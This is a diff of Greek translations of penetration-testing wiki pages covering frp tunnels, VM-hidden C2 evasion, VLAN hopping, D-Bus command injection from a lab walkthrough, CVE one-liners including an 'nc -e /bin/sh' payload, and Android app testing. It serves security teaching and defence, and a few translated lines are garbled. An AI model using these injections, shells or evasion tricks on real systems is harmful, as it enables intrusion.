[`frp`](https://github.com/fatedier/frp) είναι ένα ενεργά συντηρούμενο Go reverse-proxy που υποστηρίζει **TCP, UDP, HTTP/S, SOCKS και P2P NAT-hole-punching**. Ξεκινώντας από **v0.53.0 (Μάιος 2024)** μπορεί να λειτουργήσει ως **SSH Tunnel Gateway**, έτσι ώστε ένας στόχος υπολογιστής να μπορεί να δημιουργήσει μια αντίστροφη σήραγγα χρησιμοποιώντας μόνο τον stock OpenSSH client – δεν απαιτείται επιπλέον δυαδικό αρχείο.
|
||||
[`frp`](https://github.com/fatedier/frp) είναι ένα ενεργά συντηρούμενο Go reverse-proxy που υποστηρίζει **TCP, UDP, HTTP/S, SOCKS και P2P NAT-hole-punching**. Ξεκινώντας από **v0.53.0 (Μάιος 2024)** μπορεί να λειτουργήσει ως **SSH Tunnel Gateway**, έτσι ώστε ένας στόχος υπολογιστής να μπορεί να δημιουργήσει μια αντίστροφη σήραγγα χρησιμοποιώντας μόνο τον προεπιλεγμένο πελάτη OpenSSH – δεν απαιτείται επιπλέον δυαδικό αρχείο.
|
||||
|
||||
### Κλασική αντίστροφη σήραγγα TCP
|
||||
```bash
|
||||
@ -654,7 +654,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
|
||||
• Μόνο δύο μη υπογεγραμμένα εκτελέσιμα αρχεία (`qemu-system-*.exe`) αγγίζουν τον δίσκο; δεν εγκαθίστανται οδηγοί ή υπηρεσίες.
|
||||
• Τα προϊόντα ασφαλείας στον host βλέπουν **καλοήθη loopback traffic** (η πραγματική C2 τερματίζει μέσα στη VM).
|
||||
• Οι σαρωτές μνήμης δεν αναλύουν ποτέ τον κακόβουλο χώρο διαδικασίας επειδή ζει σε διαφορετικό OS.
|
||||
• Οι σαρωτές μνήμης δεν αναλύουν ποτέ τον κακόβουλο χώρο διεργασίας επειδή ζει σε διαφορετικό OS.
|
||||
|
||||
### Defender tips
|
||||
|
||||
|
||||
@ -46,17 +46,17 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Η συνδεσιμότητα ελέγχεται με την εκκίνηση αιτημάτων ICMP προς τις προεπιλεγμένες πύλες για τα VLAN 10, 20, 50 και 60.
|
||||
|
||||
Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατανομής VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες.
|
||||
Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατακερματισμένης VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες.
|
||||
|
||||
---
|
||||
|
||||
## Άλλες Τεχνικές VLAN-Hopping (χωρίς προνομιακή CLI διακόπτη)
|
||||
|
||||
Η προηγούμενη μέθοδος υποθέτει ότι υπάρχει αυθεντικοποιημένη πρόσβαση κονσόλας ή Telnet/SSH στον διακόπτη. Σε πραγματικές καταστάσεις, ο επιτιθέμενος είναι συνήθως συνδεδεμένος σε μια **κανονική θύρα πρόσβασης**. Οι παρακάτω τεχνικές Layer-2 συχνά σας επιτρέπουν να μετακινηθείτε οριζόντια χωρίς να συνδεθείτε ποτέ στο λειτουργικό σύστημα του διακόπτη:
|
||||
Η προηγούμενη μέθοδος υποθέτει ότι υπάρχει αυθεντικοποιημένη πρόσβαση κονσόλας ή Telnet/SSH στον διακόπτη. Σε πραγματικές καταστάσεις, ο επιτιθέμενος είναι συνήθως συνδεδεμένος σε μια **κανονική θύρα πρόσβασης**. Οι παρακάτω Layer-2 κόλπα συχνά σας επιτρέπουν να μετακινηθείτε οριζόντια χωρίς ποτέ να συνδεθείτε στο λειτουργικό σύστημα του διακόπτη:
|
||||
|
||||
### 1. Switch-Spoofing με Πρωτόκολλο Δυναμικής Σύνδεσης (DTP)
|
||||
|
||||
Οι διακόπτες Cisco που διατηρούν ενεργοποιημένο το DTP θα διαπραγματευτούν ευχαρίστως μια σύνδεση trunk αν ο ομότιμος ισχυριστεί ότι είναι διακόπτης. Η δημιουργία ενός μόνο πλαισίου **DTP “desirable”** ή **“trunk”** μετατρέπει τη θύρα πρόσβασης σε trunk 802.1Q που μεταφέρει *όλα* τα επιτρεπόμενα VLANs.
|
||||
Οι διακόπτες Cisco που διατηρούν ενεργοποιημένο το DTP θα διαπραγματευτούν ευχαρίστως μια σύνδεση trunk αν ο ομότιμος ισχυρίζεται ότι είναι διακόπτης. Η δημιουργία ενός μόνο πλαισίου **DTP “desirable”** ή **“trunk”** μετατρέπει τη θύρα πρόσβασης σε trunk 802.1Q που μεταφέρει *όλα* τα επιτρεπόμενα VLANs.
|
||||
|
||||
*Yersinia* και αρκετές PoCs αυτοματοποιούν τη διαδικασία:
|
||||
```bash
|
||||
@ -67,7 +67,7 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Μόλις η θύρα αλλάξει σε trunk, μπορείτε να δημιουργήσετε υποδιευθύνσεις 802.1Q και να κάνετε pivot ακριβώς όπως φαίνεται στην προηγούμενη ενότητα. Οι σύγχρονοι πυρήνες Linux δεν απαιτούν πια *vconfig*; αντί αυτού χρησιμοποιήστε *ip link*:
|
||||
Μόλις η θύρα αλλάξει σε trunk, μπορείτε να δημιουργήσετε υποδιευθύνσεις 802.1Q και να κάνετε pivot ακριβώς όπως φαίνεται στην προηγούμενη ενότητα. Οι σύγχρονοι πυρήνες Linux δεν απαιτούν πια το *vconfig*; αντί αυτού χρησιμοποιήστε το *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
@ -93,7 +93,7 @@ Packet walk-through:
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Πολλοί πυρήνες επιχειρήσεων υποστηρίζουν *Q-in-Q* υπηρεσία παρόχου encapsulation. Όπου επιτρέπεται, ένας επιτιθέμενος μπορεί να σήμανε τυχαία 802.1Q-ετικετοποιημένη κίνηση μέσα σε έναν πάροχο (S-tag) για να διασχίσει τις ζώνες ασφαλείας. Συλλέξτε για 802.1ad ethertype 0x88a8 και προσπαθήστε να αφαιρέσετε την εξωτερική ετικέτα με το Scapy:
|
||||
Πολλοί πυρήνες επιχειρήσεων υποστηρίζουν *Q-in-Q* υπηρεσία παρόχου ενσωμάτωσης. Όπου επιτρέπεται, ένας επιτιθέμενος μπορεί να σήκώσει τυχαία 802.1Q-ετικετοποιημένη κίνηση μέσα σε έναν πάροχο (S-tag) για να διασχίσει ζώνες ασφαλείας. Συλλέξτε για 802.1ad ethertype 0x88a8 και προσπαθήστε να αφαιρέσετε την εξωτερική ετικέτα με το Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
|
||||
@ -156,7 +156,7 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
|
||||
Με αρκετά δικαιώματα (μόνο τα δικαιώματα `send_destination` και `receive_sender` δεν είναι αρκετά) μπορείτε να **παρακολουθήσετε μια επικοινωνία D-Bus**.
|
||||
|
||||
Για να **παρακολουθήσετε** μια **επικοινωνία** θα χρειαστεί να είστε **root.** Αν εξακολουθείτε να έχετε προβλήματα ως root, ελέγξτε [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) και [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
Για να **παρακολουθήσετε** μια **επικοινωνία** θα χρειαστεί να είστε **root.** Αν εξακολουθείτε να αντιμετωπίζετε προβλήματα ως root, ελέγξτε [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) και [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
|
||||
> [!WARNING]
|
||||
> Αν ξέρετε πώς να ρυθμίσετε ένα αρχείο ρύθμισης D-Bus για να **επιτρέψετε σε μη root χρήστες να παρακολουθούν** την επικοινωνία, παρακαλώ **επικοινωνήστε μαζί μου**!
|
||||
@ -167,7 +167,7 @@ sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
Στο παρακάτω παράδειγμα, η διεπαφή `htb.oouch.Block` παρακολουθείται και **το μήνυμα "**_**lalalalal**_**" αποστέλλεται μέσω κακής επικοινωνίας**:
|
||||
Στο παρακάτω παράδειγμα, η διεπαφή `htb.oouch.Block` παρακολουθείται και **το μήνυμα "**_**lalalalal**_**" αποστέλλεται μέσω παρεξήγησης**:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
@ -231,7 +231,7 @@ dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
|
||||
</busconfig>
|
||||
```
|
||||
Σημείωση από την προηγούμενη ρύθμιση ότι **θα χρειαστεί να είστε ο χρήστης `root` ή `www-data` για να στείλετε και να λάβετε πληροφορίες** μέσω αυτής της επικοινωνίας D-BUS.
|
||||
Σημειώστε από την προηγούμενη ρύθμιση ότι **θα χρειαστεί να είστε ο χρήστης `root` ή `www-data` για να στείλετε και να λάβετε πληροφορίες** μέσω αυτής της επικοινωνίας D-BUS.
|
||||
|
||||
Ως χρήστης **qtc** μέσα στο κοντέινερ docker **aeb4525789d8** μπορείτε να βρείτε κάποιο κώδικα σχετικό με το dbus στο αρχείο _/code/oouch/routes.py._ Αυτός είναι ο ενδιαφέρον κώδικας:
|
||||
```python
|
||||
@ -283,11 +283,11 @@ bus.close()
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
- `dbus-send` είναι ένα εργαλείο που χρησιμοποιείται για την αποστολή μηνυμάτων στο “Message Bus”
|
||||
- Message Bus – Ένα λογισμικό που χρησιμοποιείται από τα συστήματα για να διευκολύνει τις επικοινωνίες μεταξύ εφαρμογών. Σχετίζεται με το Message Queue (τα μηνύματα είναι διατεταγμένα σε ακολουθία) αλλά στο Message Bus τα μηνύματα αποστέλλονται σε μοντέλο συνδρομής και είναι επίσης πολύ γρήγορα.
|
||||
- Message Bus – Ένα λογισμικό που χρησιμοποιείται από τα συστήματα για να διευκολύνει τις επικοινωνίες μεταξύ εφαρμογών. Σχετίζεται με το Message Queue (τα μηνύματα είναι διατεταγμένα σε σειρά) αλλά στο Message Bus τα μηνύματα αποστέλλονται σε μοντέλο συνδρομής και είναι επίσης πολύ γρήγορα.
|
||||
- Η ετικέτα “-system” χρησιμοποιείται για να αναφέρει ότι είναι ένα σύστημα μήνυμα, όχι μήνυμα συνεδρίας (κατά προεπιλογή).
|
||||
- Η ετικέτα “–print-reply” χρησιμοποιείται για να εκτυπώσει το μήνυμά μας κατάλληλα και να λάβει οποιεσδήποτε απαντήσεις σε αναγνώσιμη μορφή από άνθρωπο.
|
||||
- “–dest=Dbus-Interface-Block” Η διεύθυνση της διεπαφής Dbus.
|
||||
- “–string:” – Τύπος μηνύματος που θέλουμε να στείλουμε στη διεπαφή. Υπάρχουν διάφορες μορφές αποστολής μηνυμάτων όπως διπλά, bytes, booleans, int, objpath. Από αυτά, το “object path” είναι χρήσιμο όταν θέλουμε να στείλουμε μια διαδρομή ενός αρχείου στη διεπαφή Dbus. Μπορούμε να χρησιμοποιήσουμε ένα ειδικό αρχείο (FIFO) σε αυτή την περίπτωση για να περάσουμε μια εντολή στη διεπαφή με το όνομα ενός αρχείου. “string:;” – Αυτό είναι για να καλέσουμε ξανά το object path όπου τοποθετούμε το αρχείο/εντολή του FIFO reverse shell.
|
||||
- “–string:” – Τύπος μηνύματος που θέλουμε να στείλουμε στη διεπαφή. Υπάρχουν διάφορες μορφές αποστολής μηνυμάτων όπως διπλά, bytes, booleans, int, objpath. Από αυτά, το “object path” είναι χρήσιμο όταν θέλουμε να στείλουμε μια διαδρομή ενός αρχείου στη διεπαφή Dbus. Μπορούμε να χρησιμοποιήσουμε ένα ειδικό αρχείο (FIFO) σε αυτή την περίπτωση για να περάσουμε μια εντολή στη διεπαφή με το όνομα ενός αρχείου. “string:;” – Αυτό είναι για να καλέσουμε ξανά το object path όπου τοποθετούμε το αρχείο/εντολή FIFO reverse shell.
|
||||
|
||||
_Σημειώστε ότι στο `htb.oouch.Block.Block`, το πρώτο μέρος (`htb.oouch.Block`) αναφέρεται στο αντικείμενο υπηρεσίας και το τελευταίο μέρος (`.Block`) αναφέρεται στο όνομα της μεθόδου._
|
||||
|
||||
@ -441,7 +441,7 @@ return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
* Γραμμένο σε C; ενιαίο στατικό δυαδικό αρχείο (<50 kB) που διασχίζει κάθε διαδρομή αντικειμένου, αντλεί το XML `Introspect` και το χαρτογραφεί στο PID/UID του κατόχου.
|
||||
* Χρήσιμες σημαίες:
|
||||
```bash
|
||||
# Λίστα όλων των υπηρεσιών στο *σύστημα* bus και εξαγωγή όλων των καλούμενων μεθόδων
|
||||
# Λίστα κάθε υπηρεσίας στο *σύστημα* bus και εκτύπωση όλων των καλούμενων μεθόδων
|
||||
sudo dbus-map --dump-methods
|
||||
|
||||
# Ενεργή έρευνα μεθόδων/ιδιοτήτων που μπορείτε να προσεγγίσετε χωρίς προτροπές Polkit
|
||||
@ -451,13 +451,13 @@ sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
|
||||
### uptux.py
|
||||
* Συγγραφέας: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
* Σενάριο μόνο Python που αναζητά *γραφόμενες* διαδρομές σε μονάδες systemd **και** υπερβολικά επιτρεπτικά αρχεία πολιτικής D-Bus (π.χ. `send_destination="*"`).
|
||||
* Σενάριο μόνο Python που αναζητά *γρα writable* διαδρομές σε μονάδες systemd **και** υπερβολικά επιτρεπτικά αρχεία πολιτικής D-Bus (π.χ. `send_destination="*"`).
|
||||
* Γρήγορη χρήση:
|
||||
```bash
|
||||
python3 uptux.py -n # εκτέλεση όλων των ελέγχων αλλά χωρίς να γράψει αρχείο καταγραφής
|
||||
python3 uptux.py -d # ενεργοποίηση εκτενούς εξόδου αποσφαλμάτωσης
|
||||
```
|
||||
* Το module D-Bus αναζητά τους καταλόγους παρακάτω και επισημαίνει οποιαδήποτε υπηρεσία μπορεί να παραποιηθεί ή να καταληφθεί από έναν κανονικό χρήστη:
|
||||
* Το module D-Bus αναζητά τις καταλόγους παρακάτω και επισημαίνει οποιαδήποτε υπηρεσία μπορεί να παραποιηθεί ή να καταληφθεί από έναν κανονικό χρήστη:
|
||||
* `/etc/dbus-1/system.d/` και `/usr/share/dbus-1/system.d/`
|
||||
* `/etc/dbus-1/system-local.d/` (υπερκαλύψεις προμηθευτή)
|
||||
|
||||
@ -467,11 +467,11 @@ python3 uptux.py -d # ενεργοποίηση εκτενούς εξό
|
||||
|
||||
Η παρακολούθηση πρόσφατα δημοσιευμένων CVEs βοηθά στην ανίχνευση παρόμοιων ανασφαλών προτύπων σε προσαρμοσμένο κώδικα. Τα παρακάτω ζητήματα τοπικής EoP υψηλής επίπτωσης προέρχονται όλα από την έλλειψη αυθεντικοποίησης/εξουσιοδότησης στο **σύστημα bus**:
|
||||
|
||||
| Έτος | CVE | Συστατικό | Ρίζα Αιτίας | One-Liner PoC |
|
||||
| Έτος | CVE | Συστατικό | Ρίζα Αιτία | One-Liner PoC |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID daemon) | Η υπηρεσία συστήματος `logid` εκθέτει μια απεριόριστη διεπαφή `org.freedesktop.Logiopsd` που επιτρέπει σε *οποιονδήποτε* χρήστη να αλλάξει προφίλ συσκευών και να εισάγει αυθαίρετες εντολές shell μέσω συμβολοσειρών μακροεντολών. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Ένας proxy που εκτελείται ως root προωθεί παλιές ονομασίες bus σε υπηρεσίες backend **χωρίς να προωθεί το UID/Polkit του καλούντος**, οπότε κάθε προωθημένο αίτημα αντιμετωπίζεται ως UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Η δημόσια μέθοδος `Dispatch` στερείται οποιωνδήποτε ACLs → ο επιτιθέμενος μπορεί να διατάξει τον *εργάτη του package-manager* να εγκαταστήσει αυθαίρετα RPMs. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Η δημόσια μέθοδος `Dispatch` στερείται οποιωνδήποτε ACLs → ο επιτιθέμενος μπορεί να διατάξει τον *εργάτη διαχειριστή πακέτων* να εγκαταστήσει αυθαίρετα RPMs. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
Πρότυπα που πρέπει να παρατηρηθούν:
|
||||
1. Η υπηρεσία εκτελείται **ως root στο σύστημα bus**.
|
||||
@ -484,11 +484,11 @@ python3 uptux.py -d # ενεργοποίηση εκτενούς εξό
|
||||
|
||||
## Γρήγορες Νίκες Σκληροποίησης & Ανίχνευσης
|
||||
|
||||
* Αναζητήστε παγκοσμίως εγγράψιμες ή *ανοιχτές για αποστολή/λήψη* πολιτικές:
|
||||
* Αναζητήστε παγκοσμίως εγγράψιμες ή *send/receive*-ανοιχτές πολιτικές:
|
||||
```bash
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* Απαιτήστε Polkit για επικίνδυνες μεθόδους – ακόμη και οι *root* proxies θα πρέπει να περάσουν το *PID του καλούντος* στη `polkit_authority_check_authorization_sync()` αντί για το δικό τους.
|
||||
* Απαιτήστε Polkit για επικίνδυνες μεθόδους – ακόμη και οι *root* proxies θα πρέπει να περάσουν το *caller* PID στη `polkit_authority_check_authorization_sync()` αντί για το δικό τους.
|
||||
* Απορρίψτε τα δικαιώματα σε μακροχρόνιους βοηθούς (χρησιμοποιήστε `sd_pid_get_owner_uid()` για να αλλάξετε namespaces μετά τη σύνδεση στο bus).
|
||||
* Εάν δεν μπορείτε να αφαιρέσετε μια υπηρεσία, τουλάχιστον *περιορίστε* την σε μια αφιερωμένη ομάδα Unix και περιορίστε την πρόσβαση στην πολιτική XML της.
|
||||
* Blue-team: ενεργοποιήστε την επίμονη καταγραφή του συστήματος bus με `busctl capture --output=/var/log/dbus_$(date +%F).pcap` και εισάγετε στο Wireshark για ανίχνευση ανωμαλιών.
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# Δοκιμές Ασφαλείας Εφαρμογών Android
|
||||
# Android Applications Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Βασικά για Εφαρμογές Android
|
||||
## Android Applications Basics
|
||||
|
||||
Συνιστάται έντονα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
|
||||
Συνιστάται ανεπιφύλακτα να ξεκινήσετε να διαβάζετε αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
|
||||
|
||||
{{#ref}}
|
||||
android-applications-basics.md
|
||||
@ -12,7 +12,7 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή Android (εξομοιωμένη ή φυσική).\
|
||||
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\
|
||||
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
|
||||
|
||||
Ρίξτε μια ματιά στη λίστα με τις [**Εντολές ADB**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
|
||||
@ -22,13 +22,13 @@ android-applications-basics.md
|
||||
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
|
||||
[**Σε αυτό το σεμινάριο** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
|
||||
|
||||
## Άλλες ενδιαφέρουσες τεχνικές
|
||||
## Other interesting tricks
|
||||
|
||||
- [Απάτη της τοποθεσίας σας στο Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-based μη ριζωμένη προνομιακή πρόσβαση)](shizuku-privileged-api.md)
|
||||
- [Εκμετάλλευση Ανασφαλών Μηχανισμών Ενημέρωσης Εφαρμογών](insecure-in-app-update-rce.md)
|
||||
- **Λήψη APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Εξαγωγή APK από τη συσκευή:
|
||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extract APK from device:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -70,11 +70,11 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας αποσυμπιεστές ή με την αλλαγή της επέκτασης αρχείου APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το.
|
||||
|
||||
**Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
|
||||
**Ευπάθειες** που εντοπίστηκαν από το **Manifest.xml** περιλαμβάνουν:
|
||||
|
||||
- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
|
||||
- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπεται η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
|
||||
- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP. Ένα παράδειγμα είναι η επιτρεπόμενη κυκλοφορία HTTP για συγκεκριμένους τομείς.
|
||||
- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ θέτουν σε κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
|
||||
- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που ασχολούνται με ευαίσθητες πληροφορίες για να αποτραπούν μη εξουσιοδοτημένα αντίγραφα ασφαλείας δεδομένων μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
|
||||
- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains.
|
||||
- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να χρησιμοποιηθούν κακόβουλα. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
|
||||
- **Content Providers και FileProviders**: Οι εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η ρύθμιση των FileProviders θα πρέπει επίσης να εξεταστεί προσεκτικά.
|
||||
- **Broadcast Receivers και URL Schemes**: Αυτά τα στοιχεία θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για ευπάθειες εισόδου.
|
||||
@ -107,10 +107,10 @@ android-task-hijacking.md
|
||||
|
||||
**Εσωτερική Αποθήκευση**
|
||||
|
||||
Στο Android, τα αρχεία **αποθηκευμένα** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέπουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
|
||||
